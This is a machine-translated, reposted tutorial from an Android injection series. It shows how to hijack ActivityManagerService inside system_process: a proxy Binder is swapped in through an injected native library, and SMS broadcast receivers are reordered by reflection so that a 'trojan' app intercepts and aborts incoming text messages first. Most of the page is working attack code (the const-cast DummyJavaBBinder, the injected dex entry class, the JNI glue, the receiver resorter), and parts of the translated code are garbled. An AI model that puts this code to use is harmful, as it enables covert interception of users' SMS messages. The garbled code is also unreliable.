Attack Android injection 5

Source: Internet
Author: User

Attack Android injection 5
In Android, almost all IPC communication is through the Binder. It can be said that the Binder occupies a very important position in Android. IPC communication generally involves two parts: client and server. on Android, all the serivce parts of the Binder are collectively referred to as NativeService (which is different from what is usually called the Service component ), A NativeService can communicate with multiple clients. If you want to learn more about this, you can go to Lao Luo's blog. In the daily development process, we often use ActivityManager and PackageManager as a client call, but they are encapsulated well and you cannot feel it. The Service Logic is mainly concentrated in the system_process and com. android. phone processes. BroadcastIntent is a method of ActivityManagerService (AMS). The host process of AMS is system_process. There is no doubt we need to add it to the system_process process first. How can we do it next? It is the content of this chapter.
BinderProxy
In principle, all NativeService inherits from the IBinder interface. The BinderProxy principle is very simple. First, you can find the NativeService reference of the proxy, and then use your own ProxyBinder object proxy NativeService to intercept IPC communication. The following uses AMS as an example to describe it:

AMS communicates with the binder through JNI. AMS inherits the Binder (a subclass of IBinder, which encapsulates the logic of the public part of IPC communication). In the Binder, A mObject field of the int type is saved, this field is the address of the JavaBBinder object of the C ++ object. This JavaBBinder is the object that AMS eventually communicates with the kernel. The Code is as follows:

Public class Binder implements IBinder {//... /* mObject is used by native code, do not remove or rename */private int mObject; // This object stores the JavaBBinder pointer private IInterface mOwner; private String mDescriptor; //...}
Similarly, in JavaBBinder, A moject of jobject type is saved, pointing to the upper-layer Java object. Let's look at the JavaBBinder code:
Class JavaBBinder: public BBinder {//... jobject object () const {return mObject ;}//... private: JavaVM * const mVM; jobject const mObject; // This saves the reference of AMS };}
Java and C ++ are linked together through these two fields.
Among them, the mObject in JavaBBinder is a key section of the entire IPC. All client requests first reach JavaBBinder, and then JavaBBinder calls the execTransact method of mObject through JNI, and finally sends the request to AMS. Therefore, we only need to find the JavaBBinder of the AMS object and replace the mObject with the proxy object (recorded as ProxyBinder, a reference to a Java object) to implement the BinderService proxy. The following is:

To implement this proxy, we need to obtain the AMS and JavaBBinder objects of the application.

To obtain the AMS reference, you can use ServiceManager to obtain the AMS reference. However, this type of reference is a hidden class and can be called only through reflection. You can obtain AMS through ServiceManager. getService ("activity.
Obtain the JavaBBinder through the previous introduction. After obtaining the AMS, you can obtain its mObject field. This object is exactly the address of JavaBBinder. In addition, there is also a simple method, that is, it is obtained through the getService method of defaservicservicemanager.
Replacing the mObject object JavaBBinder's mObject object cannot be directly replaced, because the mObject is const. I wrote a DummyJavaBBinder class to easily solve this problem. The implementation of DummyJavaBBinder is as follows:
class DummyJavaBBinder : public BBinder{public:virtual status_t onTransact(uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags = 0) {return NO_ERROR;}jobject object() const {return mObject;}JavaVM* javaVM() const {return mVM;}void changeObj(jobject newobj){const jobject* p_old_obj = &mObject;jobject* p_old_obj_noconst = const_cast<jobject *>(p_old_obj);*p_old_obj_noconst = newobj;}private:    JavaVM* const   mVM;    jobject const   mObject;};
This class is mainly used to add the changeObj method. The main function is to remove the const restriction of mObject and change it to newobj.
Example 4 contains three parts: com. demo. sms, com. demo. smstrojan, and DemonInject3. The logic of com. demo. sms is the same as that of com. demo. smstrojan. It intercepts and prints the text message content. The code snippet is as follows:
public final class SmsReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Bundle bundle = intent.getExtras();if (bundle != null) {this.abortBroadcast();Object[] pdus = (Object[]) bundle.get("pdus");SmsMessage[] messages = new SmsMessage[pdus.length];for (int i = 0; i < pdus.length; i++) {messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);}for (SmsMessage message : messages) {String msg = message.getMessageBody();String to = message.getOriginatingAddress();Log.i("TTT", context.getPackageName() + " To:" + to + " Msg:" + msg);}}}}
DemoInject3 is relatively complex, including dex and proxybinder (injected so. The dex logic is to generate the proxybinder of the proxy and return it to lib through invoke. lib then modifies its mObject to proxybinder through DummyJavaBBinder. The key code is as follows:
Dex code
package com.demo.inject3;import android.net.Uri;import android.os.Binder;import android.os.IBinder;import android.os.Parcel;import android.os.RemoteException;import android.util.Log;/** *  * @author boyliang *  */public final class EntryClass {private static final class ProxyActivityManagerServcie extends Binder {private static final String CLASS_NAME = "android.app.IActivityManager";private static final String DESCRIPTOR = "android.app.IActivityManager";private static final int s_broadcastIntent_code;private SmsReceiverResorter mResorter;static {if (ReflecterHelper.setClass(CLASS_NAME)) {s_broadcastIntent_code = ReflecterHelper.getStaticIntValue("BROADCAST_INTENT_TRANSACTION", -1);} else {s_broadcastIntent_code = -1;}}private IBinder mBinder;public ProxyActivityManagerServcie(IBinder binder) {mBinder = binder;mResorter = new SmsReceiverResorter(binder);}@Overrideprotected boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {if (code == s_broadcastIntent_code) {mResorter.updatePriority("com.demo.sms");}return mBinder.transact(code, data, reply, flags);}}public static Object[] invoke(int i) {IBinder activity_proxy = null;try {activity_proxy = new ProxyActivityManagerServcie(ServiceManager.getService("activity"));Log.i("TTT", ">>>>>>>>>>>>>I am in, I am a bad boy 3!!!!<<<<<<<<<<<<<<");} catch (Exception e) {e.printStackTrace();}return new Object[] { "activity", activity_proxy };}}
Check the code filtering in onTransact. When code = s_broadcastIntent_code, it indicates that a client has called the sendBroadcast method, and then immediately calls the updatePriority method in SmsReceiverRestorter. Finally, invoke returns an array of objects, namely the "activity" string and the activity_proxy Object. Let's take a look at how the invoke method is called in proxybinder. cpp:
<span style="white-space:pre"></span>jmethodID invoke_method = jni_env->GetStaticMethodID(entry_class, "invoke", "(I)[Ljava/lang/Object;");check_value(invoke_method);jobjectArray objectarray = (jobjectArray) jni_env->CallStaticObjectMethod(entry_class, invoke_method, 0);check_value(objectarray);jsize size = jni_env->GetArrayLength(objectarray);sp<IServiceManager> servicemanager = defaultServiceManager();for (jsize i = 0; i < size; i += 2) {jstring name = static_cast<jstring>(jni_env->GetObjectArrayElement(objectarray, i));jobject obj = jni_env->GetObjectArrayElement(objectarray, i + 1);const char* c_name = jni_env->GetStringUTFChars(name, NULL);DummyJavaBBinder* binder = (DummyJavaBBinder*) servicemanager->getService(String16(c_name)).get();binder->changObj(jni_env->NewGlobalRef(obj));}
In lproxybinder. cpp, processing is performed based on the array returned by invoke. So far, the entire BinderProxy technology has been introduced. Next, let's take a look at the code of SmsReceiverRestorter. This class is mainly responsible for modifying the broadcast sending sequence. ActivityManagerService. mReceiverResolver. mActionToFilter, the variable location related to the broadcast sending sequence, is defined as private final HashMap <String, ArrayList <IntentFilter> mActionToFilter. The key is action, and the value is the intentfilter description in each broadcast. The value itself is a List, and the order is the sending order of the broadcast. You can adjust this order, as shown in the code;
Final class SmsReceiverResorter {private static final String [] sActions = {"android. provider. telephony. SMS_RECEIVED "," android. provider. telephony. SMS_RECEIVED2 "," android. provider. telephony. GSM_SMS_RECEIVED "}; private final String TAG =" SmsReceiverResorter "; private HashMap <String, ArrayList <? Extends IntentFilter> mActionToFilter; private Field mPackageNameField; @ SuppressWarnings ("unchecked") public SmsReceiverResorter (IBinder am) {Class <?> Claxx = am. getClass (); try {Field field = claxx. getDeclaredField ("mReceiverResolver"); field. setAccessible (true); Object mReceiverResolver = field. get (am); claxx = mReceiverResolver. getClass (); field = claxx. getSuperclass (). getDeclaredField ("mActionToFilter"); field. setAccessible (true); mActionToFilter = (HashMap <String, ArrayList <? Extends IntentFilter>) field. get (mReceiverResolver);} catch (Exception e) {Log. e (TAG, e. toString () ;}}/*** modify priority */public void updatePriority (String target_pkg) {if (mActionToFilter! = Null) {for (String action: sActions) {@ SuppressWarnings ("unchecked") ArrayList <IntentFilter> filters = (ArrayList <IntentFilter>) mActionToFilter. get (action); if (filters! = Null) {Log. I ("TTT", "send sms broadcast"); IntentFilter filter = null; for (IntentFilter f: filters) {String pkg = getPackageName (f ); if (target_pkg.equals (pkg) {filter = f; break ;}/// adjust the order if (filter! = Null & filters. remove (filter) {filters. add (0, filter); filter = null; Log. I ("TTT", target_pkg + "is the first now") ;}}} private String getPackageName (IntentFilter filter) {if (mPackageNameField = null & filter! = Null) {Class <?> Claxx = filter. getClass (); try {mPackageNameField = claxx. getDeclaredField ("packageName"); mPackageNameField. setAccessible (true);} catch (Exception e) {Log. e (TAG, e. toString () ;}} String result = null; if (filter! = Null) {try {result = (String) mPackageNameField. get (filter);} catch (Exception e) {Log. e (TAG, e. toString () ;}} return result ;}}
Finally, I have uploaded a lot of sample code to https://github.com/boyliang/hijack_ams_broadintent. Through the above method, no matter how com. demo. sms lags behind sms. demo. smstrojan in registering broadcast, messages can be intercepted first.
I finally finished explaining this solution, so I am exhausted... It is a fate to see everyone here. In the next chapter, I will fully introduce the implementation details of the AIM Framework. The AIM framework makes a good summary of the technical points mentioned above.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.